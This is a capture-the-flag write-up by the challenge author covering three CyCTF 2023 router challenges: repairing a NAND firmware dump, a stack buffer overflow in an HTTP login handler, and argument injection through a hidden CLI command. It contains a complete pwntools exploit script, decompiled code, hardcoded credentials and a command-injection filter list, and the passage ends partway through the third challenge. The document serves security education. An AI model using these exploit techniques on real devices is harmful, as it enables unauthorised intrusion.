TL;DR;
This is series of challenges I wrote for CyCTF finals 2023. It is composed of three challenges:
- Firmware dump: Remove OOB data after identifying that ECC is disabled to fix the firmware binary and extract the filesystem.
- Management portal: Exploit a vanilla buffer overflow in the
POSTLogin
function resulting from the difference between the length being checked and the length being copied and overwrite the return address with the address of readFlag
. - Management console: Reverse engineer hidden commands inside the shared objects containing the logic of the
clid
binary and find the appropriate sequence to trigger an argument injection inside one of the hidden commands which will lead to arbitrary command execution.
This writeup will show the step-by-step solution for these challenges.
Firmware Dump
Challenge Details
The description states that the firmware of the router was dumped using the tool SNANDer. For some reason the filesystem cannot be extracted and it is stated that a datasheet (the datasheet of the dumped chip) might help.
Downloading and extracting the challenge we get the firmware binary and the output of the SNANDer
command used to extract the firmware:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| $ SNANDer -d -г fw_dump.bin
SNANDer - Serial Nor/nAND/Eeprom programmeR v.1.7.8b2 by McMCC <mcmcc@mail.ru>
Found programmer device: WinChipHead (WCH) - CH341A
Device revision is 3.0.4
spi_nand_probe: mfr_id = 0xef, dev_id = 0xaa, dev_id_2 = 0x21
Get Status Register 1: 0x81
Get Status Register 2: 0×18
Disable Flash ECC.
Detected SPI NAND Flash: WINBOND W25N01G, Flash Size: 128MB, OOB Size: 64B
READ:
Read addr = 0x0000000000000000, len = 0x0000000008000000
Read 100% [138412032] of [138412032] bytes
|
Initial Takeaways
Reading the output of SNANDer
along with its arguments, the following can be deducted:
-d
in the documentation of SNANDer
indicates the following “disable internal ECC(use read and write page size + OOB size)”- The programmer used to dump the firmware is the
CH341A
as shown in line 5
. - The flash ECC is disabled as shown in
line 10
(relevant to 1) - The NAND flash that the firmware was dumped from is the
WINBOND W25N01G
as shown in line 11
. - The flash size is 128MB which is
134217728 bytes
. - There’s something called OOB and its size is
64 bytes
. - The bytes dumped are
138412032 bytes
which are 4194304 bytes
bigger than the flash size.
Attempting to binwalk the provided firmware binary shows that it is corrupted as stated:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
| wr3nchsr@ubuntu:~/low-budget-router$ binwalk fw_dump.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
512 0x200 uImage header, header size: 64 bytes, header CRC: 0xBB7874BF, created: 2023-11-11 02:26:22, image size: 299143 bytes, Data Address: 0x81C00000, Entry Point: 0x81C00000, data CRC: 0x421FD553, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U-Boot"
223428 0x368C4 CRC32 polynomial table, little endian
308012 0x4B32C Flattened device tree, size: 987 bytes, version: 17
406016 0x63200 uImage header, header size: 64 bytes, header CRC: 0xBB7874BF, created: 2023-11-11 02:26:22, image size: 299143 bytes, Data Address: 0x81C00000, Entry Point: 0x81C00000, data CRC: 0x421FD553, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U-Boot"
628932 0x998C4 CRC32 polynomial table, little endian
713516 0xAE32C Flattened device tree, size: 987 bytes, version: 17
20680704 0x13B9000 uImage header, header size: 64 bytes, header CRC: 0x327CF126, created: 2023-11-10 21:16:54, image size: 2496835 bytes, Data Address: 0x80100000, Entry Point: 0x8068CC5C, data CRC: 0x44E56FBC, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux-5.15.18"
35278848 0x21A5000 JFFS2 filesystem, little endian
35680500 0x22070F4 JFFS2 filesystem, little endian
36227208 0x228C888 JFFS2 filesystem, little endian
36241980 0x229023C JFFS2 filesystem, little endian
36244080 0x2290A70 JFFS2 filesystem, little endian
36652196 0x22F44A4 JFFS2 filesystem, little endian
36936992 0x2339D20 JFFS2 filesystem, little endian
37186412 0x2376B6C JFFS2 filesystem, little endian
37290044 0x239003C JFFS2 filesystem, little endian
37535112 0x23CBD88 JFFS2 filesystem, little endian
38210392 0x2470B58 JFFS2 filesystem, little endian
38506576 0x24B9050 JFFS2 filesystem, little endian
39291756 0x2578B6C JFFS2 filesystem, little endian
39526288 0x25B1F90 JFFS2 filesystem, little endian
39650748 0x25D05BC Zlib compressed data, compressed
39652676 0x25D0D44 JFFS2 filesystem, little endian
41967612 0x2805FFC Zlib compressed data, compressed
41969664 0x2806800 JFFS2 filesystem, little endian
42644904 0x28AB5A8 JFFS2 filesystem, little endian
43828648 0x29CC5A8 JFFS2 filesystem, little endian
44017472 0x29FA740 JFFS2 filesystem, little endian
44231904 0x2A2ECE0 JFFS2 filesystem, little endian
44320828 0x2A4483C JFFS2 filesystem, little endian
44461884 0x2A66F3C Zlib compressed data, compressed
44463768 0x2A67698 JFFS2 filesystem, little endian
44793656 0x2AB7F38 JFFS2 filesystem, little endian
44905404 0x2AD33BC Zlib compressed data, compressed
44907272 0x2AD3B08 JFFS2 filesystem, little endian
45123352 0x2B08718 JFFS2 filesystem, little endian
45186744 0x2B17EB8 JFFS2 filesystem, little endian
45782392 0x2BA9578 JFFS2 filesystem, little endian
45817808 0x2BB1FD0 JFFS2 filesystem, little endian
45832580 0x2BB5984 JFFS2 filesystem, little endian
45845244 0x2BB8AFC JFFS2 filesystem, little endian
55283712 0x34B9000 uImage header, header size: 64 bytes, header CRC: 0x327CF126, created: 2023-11-10 21:16:54, image size: 2496835 bytes, Data Address: 0x80100000, Entry Point: 0x8068CC5C, data CRC: 0x44E56FBC, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux-5.15.18"
69881856 0x42A5000 JFFS2 filesystem, little endian
70283508 0x43070F4 JFFS2 filesystem, little endian
70830216 0x438C888 JFFS2 filesystem, little endian
70844988 0x439023C JFFS2 filesystem, little endian
70847088 0x4390A70 JFFS2 filesystem, little endian
71255204 0x43F44A4 JFFS2 filesystem, little endian
71540000 0x4439D20 JFFS2 filesystem, little endian
71789420 0x4476B6C JFFS2 filesystem, little endian
71893052 0x449003C JFFS2 filesystem, little endian
72138120 0x44CBD88 JFFS2 filesystem, little endian
72813400 0x4570B58 JFFS2 filesystem, little endian
73109584 0x45B9050 JFFS2 filesystem, little endian
73894764 0x4678B6C JFFS2 filesystem, little endian
74129296 0x46B1F90 JFFS2 filesystem, little endian
74253756 0x46D05BC Zlib compressed data, compressed
74255684 0x46D0D44 JFFS2 filesystem, little endian
76570620 0x4905FFC Zlib compressed data, compressed
76572672 0x4906800 JFFS2 filesystem, little endian
77247912 0x49AB5A8 JFFS2 filesystem, little endian
78431656 0x4ACC5A8 JFFS2 filesystem, little endian
78620480 0x4AFA740 JFFS2 filesystem, little endian
78834912 0x4B2ECE0 JFFS2 filesystem, little endian
78923836 0x4B4483C JFFS2 filesystem, little endian
79064892 0x4B66F3C Zlib compressed data, compressed
79066776 0x4B67698 JFFS2 filesystem, little endian
79396664 0x4BB7F38 JFFS2 filesystem, little endian
79508412 0x4BD33BC Zlib compressed data, compressed
79510280 0x4BD3B08 JFFS2 filesystem, little endian
79726360 0x4C08718 JFFS2 filesystem, little endian
79789752 0x4C17EB8 JFFS2 filesystem, little endian
80385400 0x4CA9578 JFFS2 filesystem, little endian
80420816 0x4CB1FD0 JFFS2 filesystem, little endian
80435588 0x4CB5984 JFFS2 filesystem, little endian
80448252 0x4CB8AFC JFFS2 filesystem, little endian
|
Reading the Datasheet
The datasheet can be easily found on alldatasheets.com.
After downloading the datasheet and referring to the Block Diagram in chapter 5:
It can be understood that the flash memory is divided into:
- Main memory array.
- 1024 block.
- Each block is divided into 64 pages.
- Each page consists of 2048 bytes.
- Spare area.
- For each page there are 64 bytes. (This is where the error correction code “ECC” is stored for each page also referred to as out of bound date “OOB”)
Using a quick oneliner we can check the first couple of OOB data:
All of them turned out to be 1s (FFh) but what does that mean? With some google searching you can stumble upon this question which states:
NAND flash works by first erasing all the cells in a single block (essentially setting it to ‘1’) and then selectively writing 0’s.
Also by referring to section 8.2.10 in the datasheet, we can confirm that the erased flash state is all 1s (FFh):
The 128KB Block Erase instruction sets all memory within a specified block (64-Pages, 128K-Bytes) to the erased state of all 1s (FFh)
Can this mean that the ECC is not utilized in the NAND chip? An interesting theory which can be easily verified using the following script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| data = open("fw_dump.bin", "rb").read()
out = open("fw_dump_without_oob.bin", "wb")
counter = 0
for i in range(0, len(data), 2112):
if data[i+2048:i+2112] == b"\xff" * 64:
counter += 1
out.write(data[i:i+2048])
else:
print(f"Error correction needed in page {counter + 1}")
exit(1)
print(f"Number of clean pages: {counter}")
out.close()
|
Running the script produces a file with size 134217728 bytes
which is exactly 128MB.
Let’s try binwalk now:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| wr3nchsr@ubuntu:~/low-budget-router$ binwalk -e fw_dump_without_oob.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
512 0x200 uImage header, header size: 64 bytes, header CRC: 0xBB7874BF, created: 2023-11-11 02:26:22, image size: 299143 bytes, Data Address: 0x81C00000, Entry Point: 0x81C00000, data CRC: 0x421FD553, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U-Boot"
216708 0x34E84 CRC32 polynomial table, little endian
298732 0x48EEC Flattened device tree, size: 987 bytes, version: 17
393728 0x60200 uImage header, header size: 64 bytes, header CRC: 0xBB7874BF, created: 2023-11-11 02:26:22, image size: 299143 bytes, Data Address: 0x81C00000, Entry Point: 0x81C00000, data CRC: 0x421FD553, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U-Boot"
609924 0x94E84 CRC32 polynomial table, little endian
691948 0xA8EEC Flattened device tree, size: 987 bytes, version: 17
20054016 0x1320000 uImage header, header size: 64 bytes, header CRC: 0x327CF126, created: 2023-11-10 21:16:54, image size: 2496835 bytes, Data Address: 0x80100000, Entry Point: 0x8068CC5C, data CRC: 0x44E56FBC, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux-5.15.18"
20054080 0x1320040 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: -1 bytes
34209792 0x20A0000 JFFS2 filesystem, little endian
53608448 0x3320000 uImage header, header size: 64 bytes, header CRC: 0x327CF126, created: 2023-11-10 21:16:54, image size: 2496835 bytes, Data Address: 0x80100000, Entry Point: 0x8068CC5C, data CRC: 0x44E56FBC, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux-5.15.18"
53608512 0x3320040 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: -1 bytes
67764224 0x40A0000 JFFS2 filesystem, little endian
|
The output shows that the firmware is now fixed and everything (bootloader, kernel and filesystem) can be extracted.
Flag
Back to the description the flag is in /etc/
of the filesystem.
The file read_me_fast_for_points.txt.gz
contained the file low_budget_anti_strings.txt.gz
which contained flag.txt.gz
. After recursively extracting them, we get the flag cyctf{ecc_c4n_b3_tr0ubl3s0m3_f0r_f1rmw4r3_dump1ng}
Management Portal
Challenge Details
Deploying an instance and visiting the link, we’re presented with an admin panel with only one button for login:
Clicking the button, we visit the login page which prompts for username and password:
Using any set of default credentials only redirects to the login page with no errors.
Finding The Binary
We have the filesystem from the previous challenge so we don’t have to rely on blackbox testing. To find the binary of the http server, we start by looking for one of the unique strings we can see in the response of the server:
The server header appears to be custom and unique so lets grep for it:
Static Analysis
Firing up IDA Pro and loading the binary, we start with the main function:
1
2
3
4
5
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
setLogin(0);
serve_forever("10080");
}
|
The first function appearing which is setLogin
appears to be a lame authentication setter which stores the state in /tmp/logged_in
:
1
2
3
4
5
6
7
8
| int __fastcall setLogin(char a1)
{
FILE *stream; // [sp+18h] [+18h]
stream = fopen("/tmp/logged_in", "wb");
fputc(a1, stream);
return fclose(stream);
}
|
The serve_forever
function starts a listener using the function startServer
and waits for connections. If a connection is received the process fork
s and calls the function respond
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| void __fastcall __noreturn serve_forever(const char *a1)
{
int v1; // [sp+20h] [+20h]
int i; // [sp+24h] [+24h]
struct sockaddr v3; // [sp+28h] [+28h] BYREF
socklen_t v4[2]; // [sp+38h] [+38h] BYREF
v1 = 0;
fprintf(stderr, "HTTPD server started %shttp://0.0.0.0:%s%s\n", "\x1B[92m", a1, "\x1B[0m");
for ( i = 0; i < 1000; ++i )
clients[i] = -1;
startServer(a1);
signal(18, 1);
while ( 1 )
{
v4[0] = 16;
clients[v1] = accept(listenfd, &v3, v4);
if ( clients[v1] >= 0 )
{
if ( !fork() )
{
respond(v1);
exit(0);
}
}
else
{
perror("accept() error");
}
while ( clients[v1] != -1 )
v1 = (v1 + 1) % 1000;
}
}
|
The respond
function does the following:
- Receives the request from the client.
- Parse the request line and headers.
- Stores a pointer to the post data in
payload
global variable. - Stored the value of the content-length header in
payload_size
global variable. - Calls the function
route
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| int *__fastcall respond(int a1)
{
_BYTE *v1; // $v0
int v2; // $v0
int *result; // $v0
void **v4; // [sp+18h] [+18h]
char *v5; // [sp+1Ch] [+1Ch]
char *s; // [sp+20h] [+20h]
ssize_t v7; // [sp+24h] [+24h]
char *v8; // [sp+28h] [+28h]
char *nptr; // [sp+2Ch] [+2Ch]
buf = malloc(0xFFFFu);
v7 = recv(clients[a1], buf, 0xFFFFu, 0);
if ( v7 >= 0 )
{
if ( v7 )
{
// parses request line and headers
...
payload = (v5 + 3);
nptr = request_header("Content-Length");
if ( nptr )
v2 = atol(nptr);
else
v2 = v7 - &v5[-buf];
payload_size = v2;
request_size = v7;
clientfd = clients[a1];
dup2(clientfd, 1);
close(clientfd);
route();
fflush(stdout);
free(buf);
shutdown(1, 1);
close(1);
}
else
{
fwrite("Client disconnected upexpectedly.\n", 1u, 0x22u, stderr);
}
}
else
{
fwrite("recv() error\n", 1u, 0xDu, stderr);
}
shutdown(clientfd, 2);
close(clientfd);
result = &clients[a1];
*result = -1;
return result;
}
|
The route
function handles the routing of the web application:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| int route()
{
if ( !strcmp("/", uri) && !strcmp("GET", method) )
return GETHomePage();
if ( !strcmp("/login", uri) && !strcmp("GET", method) )
return GETLogin();
if ( !strcmp("/login", uri) && !strcmp("POST", method) )
return POSTLogin();
if ( !strcmp("/logout", uri) && !strcmp("GET", method) )
return GETLogout();
if ( !strcmp("/status", uri) && !strcmp("GET", method) )
return GETStatus();
if ( strcmp("/flag", uri) || strcmp("GET", method) )
return serverError();
return GETFlag();
}
|
The GETFlag
function checks for authentication using the function getLogin
then only renders /home/httpd/flag.html
which is a rickroll:3
1
2
3
4
5
6
7
| int GETFlag()
{
if ( getLogin() )
return renderHtml("/home/httpd/flag.html");
else
return redirect("/");
}
|
The binary has another function named readFlag
which will read the actual flag but it is not referenced anywhere:
1
2
3
4
5
6
7
8
9
10
11
12
| void __noreturn readFlag()
{
if ( getLogin() )
renderHtml("/home/httpd/flag.txt");
else
redirect("/login");
fflush(stdout);
free(buf);
shutdown(1, 1);
close(1);
exit(0);
}
|
All functions called by the route
function appears to just render an html page from /home/httpd
which is practically useless in our case, except for the POSTLogin
function which does the following:
- Gets the length of the
payload
with strlen
- Checks if it is greater than 80 (the size of the local buffer)
- Checks if it is less than 42 (the length of the authentication string)
- Copies
payload_size
bytes from the payload
into v2
(the local buffer) with memcpy
- Compares
v1
bytes from v2
with "user=admin&pass=notcomplexjustnotguessable"
- If equal
setLogin(1)
is called and redirected to /
- If not equal
setLogin(0)
is called and redirected to /login
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| int POSTLogin()
{
size_t v1; // [sp+18h] [+18h]
char v2[80]; // [sp+1Ch] [+1Ch] BYREF
v1 = strlen(payload);
if ( v1 >= 80 )
return serverError();
if ( v1 < 42 || (memcpy(v2, payload, payload_size), strncmp(v2, "user=admin&pass=notcomplexjustnotguessable", v1)) )
{
setLogin(0);
return redirect("/login");
}
else
{
setLogin(1);
return redirect("/");
}
}
|
Vulnerability
The vulnerability lies in the logic of POSTLogin
but what is it? First, there is an inconsistency when checking the length bounds and the actual copying. The checks are done using the value of strlen(payload)
meanwhile memcpy
uses payload_size
(the value from the content-length header). But why is this a problem?
According to the description of strlen
in its manpage, it calculates the string length up until and excluding the null -terminating- byte.
On the other hand, payload_size
can be the length of the full content of the payload
including bytes after the null byte or it can be an arbitrary value as the Content-Length
header is user controlled.
This means that sending the below HTTP request to the server will result in the following:
strlen(payload)
is 42.payload_size
is 50.memcpy
will copy all the 50 bytes.strncmp
will check only the first 42 bytes before the nullbyte.
1
2
3
4
| POST /login HTTP1.1
Content-Length: 50
user=admin&pass=notcomplexjustnotguessable\x00AAAAAAA
|
This behavior causes memcpy
to result in a vanilla stack bufferoverflow.
Exploit
To get the padding length before the return address on the stack, we can refer to the assembly to check the stack offsets of the $ra
and the local buffer.
So the stack looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
| ┌──────────────┐
0x18 │ v1 │ -> Variable storing the result of strlen
├──────────────┤
0x1c │ │
│ │
│ v2 │ -> Variable that memcpy copies the payload to
│ │
│ │
├──────────────┤
0x70 │ $fp │ -> Old frame pointer
├──────────────┤
0x74 │ $ra │ -> Return address
└──────────────┘
|
Let’s recap over some information before writing the exploit:
- Padding before the return address is 88 bytes.
- The binary has no PIE, the address of
readFlag
function is 0x40227C
- Bear in mind that the architecture is big endian.
- The
POSTLogin
function calls the redirect('/')
function before returning (This can cause weird behaviour if we use requests
for our exploit) - The
readFlag
function checks for authentication so we need the payload to successfully authenticate and overflow.
Now that we have everything lined up, this is our exploit code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| import sys
import pwn
readflag = 0x40227c
def main(sni):
io = pwn.remote(sni, 443, ssl=True, sni=sni, level="error")
post_data = b"user=admin&pass=notcomplexjustnotguessable\x00"
post_data += b"A" * (88 - len(post_data))
post_data += pwn.p32(readflag, endian='big')
payload = b"POST /login HTTP/1.1\r\n"
payload += f"Content-Length: {len(post_data)}\r\n\r\n".encode()
payload += post_data
try:
io.send(payload)
out = io.recvuntil(b"}").replace(b"\r\n", b"\n").decode()
flag = out.split("\n")[-1]
print(flag)
finally:
io.close()
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage:")
print(f"\t{sys.argv[0]} SNI")
exit(0)
main(sys.argv[1])
|
Flag
Running the exploit gives us the flag: cyctf{ch3ck1ng_buff3r_s1z3s_c4n_b3_tr1cky}
Management Console
Challenge Details
Deploying an instance and connecting to it, we’re prompted for login credentials. Trying the credentials obtained httpd
failed:
Finding The Binary
To find the binary of this tcp server, we start can grep for one of the string just like we did in the previous challenge:
We get another lucky match at /bin/clid
Analysis
clid
Starting with the main function, there nothing of significant importance other than that it starts a new thread for each client with the function handleClient
:
1
2
3
4
5
6
7
| int __cdecl main(int argc, const char **argv, const char **envp)
{
// starts listener and recieves connection
...
if ( pthread_create(&threadPool[AvailableThread], 0, handleClient, arg) < 0 )
...
}
|
The function handleClient
starts by calling authenticate
and based on its return value it can go to interactiveShell
or terminate:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| void *__fastcall handleClient(void *a1)
{
...
fd = *a1;
if ( authenticate(*a1) )
{
banner(fd);
interactiveShell(fd);
cleanup();
}
...
}
|
The authenticate
function prompts for the username and password then calls an external function named doAuthentication
which apparently handles the authentication logic (we will get to this later). The function also have a counter v2
which checks for 3 invalid logins:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| int __fastcall authenticate(int a1)
{
int v2; // [sp+1Ch] [+1Ch]
char v3[32]; // [sp+24h] [+24h] BYREF
char v4[32]; // [sp+44h] [+44h] BYREF
v2 = 3;
sendBytes(a1, "[ Login ]\n");
do
{
if ( !v2 )
return 0;
sendBytes(a1, "Username: ");
if ( !recvBytes(a1, v3, 30) )
return 0;
sendBytes(a1, "Password: ");
if ( !recvBytes(a1, v4, 30) )
return 0;
--v2;
}
while ( !doAuthentication(a1, v3, v4, v2) );
return 1;
}
|
The banner
function only sends the banner of the router:
1
2
3
4
5
6
7
8
| int __fastcall banner(int a1)
{
return sendBytes(
a1,
"------------------------------------------\n"
"[ Low Budget Router - CLI v1.0 ]\n"
"------------------------------------------\n");
}
|
The interactiveShell
function, prompts for a command from a list of predefined commands and calls its respective external function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
| int __fastcall interactiveShell(int a1)
{
char *v2; // [sp+18h] [+18h]
int v3; // [sp+1Ch] [+1Ch]
char *v4; // [sp+24h] [+24h]
char v5[100]; // [sp+28h] [+28h] BYREF
while ( 1 )
{
sendBytes(a1, "> ");
v3 = recvBytes(a1, v5, 100);
if ( !v3 || v3 < 0 )
break;
v4 = strchr(v5, ' ');
if ( v4 )
{
*v4 = 0;
v2 = v4 + 1;
}
else
{
v2 = 0;
}
if ( strcasecmp(v5, "help") )
{
if ( strcasecmp(v5, "getstatus") )
{
if ( strcasecmp(v5, "pwd") )
{
if ( strcasecmp(v5, "ls") )
{
if ( strcasecmp(v5, "cd") )
{
if ( strcasecmp(v5, "ping") )
{
if ( strcasecmp(v5, "readflag") )
{
if ( strcmp(v5, "setdiag") )
{
if ( strcmp(v5, "head") )
{
if ( !strcasecmp(v5, "exit") || sendBytes(a1, "Unknown command!\n") < 0 )
return _stack_chk_guard;
}
else
{
head(a1, v2);
}
}
else
{
setDiag(a1, v2);
}
}
else
{
readFlag(a1);
}
}
else
{
ping(a1, v2);
}
}
else
{
cd(a1, v2);
}
}
else
{
ls(a1, v2);
}
}
else
{
pwd(a1);
}
}
else
{
getStatus(a1);
}
}
else
{
help(a1);
}
}
return _stack_chk_guard;
}
|
The cleanup
function deletes a file called /tmp/ping_log
:
1
2
3
4
| int cleanup()
{
return system("rm /tmp/ping_log");
}
|
The only function in interactiveShell
that is not external is the help
function which for some reason does not list all the available commands. The hidden commands are setDiag
and head
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| int __fastcall help(int a1, int a2, int a3)
{
return sendBytes(
a1,
"Low Budget CLI v1.0\n"
"\n"
"help - print the available commands.\n"
"getstatus - get router status.\n"
"pwd - print the current directory.\n"
"ls - list the current directory.\n"
"cd - change the current directory.\n"
"ping - diagnose network with ping.\n"
"readflag - read the flag of this challenge.\n"
"exit - terminate connection.\n",
a3);
}
|
That’s probably all the important functions in the binary, so lets find out where are these external functions imported from.
libcli_functions.so
Loading the shared object /lib/libcli_functions.so
in IDA, we find all the functions seen in authenticate
and interactiveShell
functions.
Let’s begin by doAuthentication
to be able to authenticate with the server. The function checks the username and password against hardcoded credentials just like the previous challenge:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| int __fastcall doAuthentication(int a1, const char *a2, const char *a3, int a4)
{
char v6[100]; // [sp+20h] [+20h] BYREF
if ( strcmp(a2, "admin") || strcmp(a3, "notguessablebutnotcomplex") )
{
if ( a4 )
{
snprintf(v6, 0x64u, "Failed to login, only %d trials left!\n", a4);
sendBytes(a1, v6);
}
else
{
sendBytes(a1, "FAILED! Terminating session.\n");
}
return 0;
}
else
{
sendBytes(a1, "Authentication Successful.\n");
return 1;
}
}
|
Let’s authenticate and test out some functionalities:
Nothing of benefit came from this so lets check the underlying code for each function starting with the most simple ones.
The getStatus
just sends a string indicating the router is up:
1
2
3
4
| int __fastcall getStatus(int a1)
{
return sendBytes(a1, "Router status: UP.\n");
}
|
The readFlag
function is also useless with a rickroll attempt:3
1
2
3
4
5
6
7
| int __fastcall readFlag(int a1)
{
return sendBytes(
a1,
"IMPOSTER! A real admin won't get the flag this way\n"
"You only get this: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n");
}
|
The pwd
function only calls getcwd
and sends its value:
1
2
3
4
5
6
7
8
9
| void __fastcall pwd(int a1)
{
char *ptr; // [sp+1Ch] [+1Ch]
ptr = getcwd(0, 0xC8u);
sendBytes(a1, ptr);
sendNewline(a1);
free(ptr);
}
|
The cd
function takes an argument a2
and checks that the absolute path of it starts with /tmp/jail
before running chdir
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| void __fastcall cd(int a1, const char *a2)
{
char *v2; // [sp+18h] [+18h]
char *ptr; // [sp+1Ch] [+1Ch]
v2 = getcwd(0, 0);
if ( a2 )
{
if ( checkAbsPathBase(a2, "/mnt/jail") )
{
if ( chdir(a2) )
{
perror("chdir");
sendBytes(a1, "Failed to change directory.\n");
}
else
{
ptr = getcwd(0, 0);
if ( ptr )
{
sendBytes(a1, "Changed directory to: ");
sendBytes(a1, ptr);
sendNewline(a1);
free(ptr);
}
else
{
sendBytes(a1, "Directory change was successful, but unable to retrieve new directory path.\n");
}
}
free(v2);
}
else
{
sendBytes(a1, "Don't try to escape the jail!\n");
}
}
else
{
sendBytes(a1, "No directory provided!\n");
}
}
|
The ls
function can do one of two things:
- Take no argument, check that the absolute path of the current working directory starts with
/mnt/jail
then runs ls
system command with the external function execCmd
. - Take one argument
a2
, check that the absolute path of that argument starts with /mnt/jail
then runs ls
system command with the external function execCmd
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| void __fastcall ls(int a1, char *a2)
{
int v2; // $v0
char *v3; // [sp+1Ch] [+1Ch]
void *ptr; // [sp+24h] [+24h]
if ( a2 && *a2 )
{
v3 = a2;
v2 = checkAbsPathBase(a2, "/mnt/jail");
}
else
{
v3 = getcwd(0, 0xC8u);
v2 = checkAbsPathBase(v3, "/mnt/jail");
}
if ( v2 )
{
ptr = execCmd("ls -la %s", v3);
if ( ptr )
{
sendBytes(a1, ptr);
sendNewline(a1);
free(ptr);
}
else
{
sendBytes(a1, "An error occurred!\n");
}
}
else
{
sendBytes(a1, "Don't try to escape the jail!\n");
}
}
|
The ping
function checks a global variable named diag
:
- If
diag == 0
, nothing is done and it sends “Function not implemented yet” - If
diag != 0
, the argument a2
is checked and then passed to the external function execCmd
to execute ping and the output is also saved in /tmp/ping_log
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| void __fastcall ping(int a1, const char *a2)
{
void *ptr; // [sp+1Ch] [+1Ch]
if ( diag )
{
if ( a2 )
{
ptr = execCmd("ping -c3 %s | tee /tmp/ping_log", a2);
if ( ptr )
{
sendBytes(a1, ptr);
sendNewline(a1);
free(ptr);
}
else
{
sendBytes(a1, "An error occurred!\n");
}
}
else
{
sendBytes(a1, "No host provided!\n");
}
}
else
{
sendBytes(a1, "Function is not implemented yet!\n");
}
}
|
Hidden Functions
These were the functions visible in the help
output but there are two more functionalities that are not displayed there.
The first one is setDiag
which takes an argument a2
and checks if it is 0 or 1 and sets its value to the diag
global variable:
1
2
3
4
5
6
7
8
9
| void __fastcall setDiag(int a1, const char *a2)
{
int v2; // [sp+1Ch] [+1Ch]
if ( a2 && ((v2 = atoi(a2)) == 0 || v2 == 1) )
diag = v2;
else
sendBytes(a1, "Unknown command!\n");
}
|
The head
function which takes an argument a2
consisting of two values splited by a comma. The two values are:
- The number of lines to read.
- The full path of the file to read.
The command itself have some constraints for the file to meet:
- It looks for the file inside
/tmp
. - The file has to be owned by user
1002
. - The type has to be a file (not a directory obviously).
- The full path of the file matches the argument of
-path
.
When find
finds a file that meets this criteria it runs the command inside -exec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| void __fastcall head(int a1, char *a2)
{
char *v2; // [sp+1Ch] [+1Ch]
char *v3; // [sp+20h] [+20h]
void *ptr; // [sp+24h] [+24h]
if ( a2 && (v2 = strtok(a2, ","), v3 = strtok(0, ","), v2) && v3 )
{
ptr = execCmd("find /tmp/ -user 1002 -type f -path %s -exec head -n%s \"{}\" \\;", v3, v2);
if ( ptr )
{
sendBytes(a1, ptr);
sendNewline(a1);
free(ptr);
}
else
{
sendBytes(a1, "An error occurred!\n");
}
}
else
{
sendBytes(a1, "Unknown command!\n");
}
}
|
Takeaways
After checking all of those functions, these are the most important takeaways:
ls
, ping
and head
uses the external function execCmd
to execute commands, maybe this is vulnerable to command injection?setDiag
can be used to set the diag
variable to 1 and enable the ping
function.ping
creates a file /tmp/ping_log
which can be used with the head
function as it meets the criteria.
And grepping for execCmd
function shows us another shared object /bin/libcli_helpers.so
This shared object included some generic helpers including:
sendBytes
: Sends bytes to a socket.recvBytes
: Recieves bytes from a socket.sendNewline
: Uses sendBytes
to send a newline.readFile
: Reads a file.writeFile
: Write a file.checkAbsPathBase
: Checks that the base of the absolute path of the first argument equals the second argument.
As for execCmd
:
- It takes a command as format string.
- Takes the arguments to this format string.
- Checks each argument for command injection.
- Subsitutes formats with arguments.
- Run the command.
The interesting part for us is the filter which checks for ["&", "|", ";", "<", ">", "$", "`"]
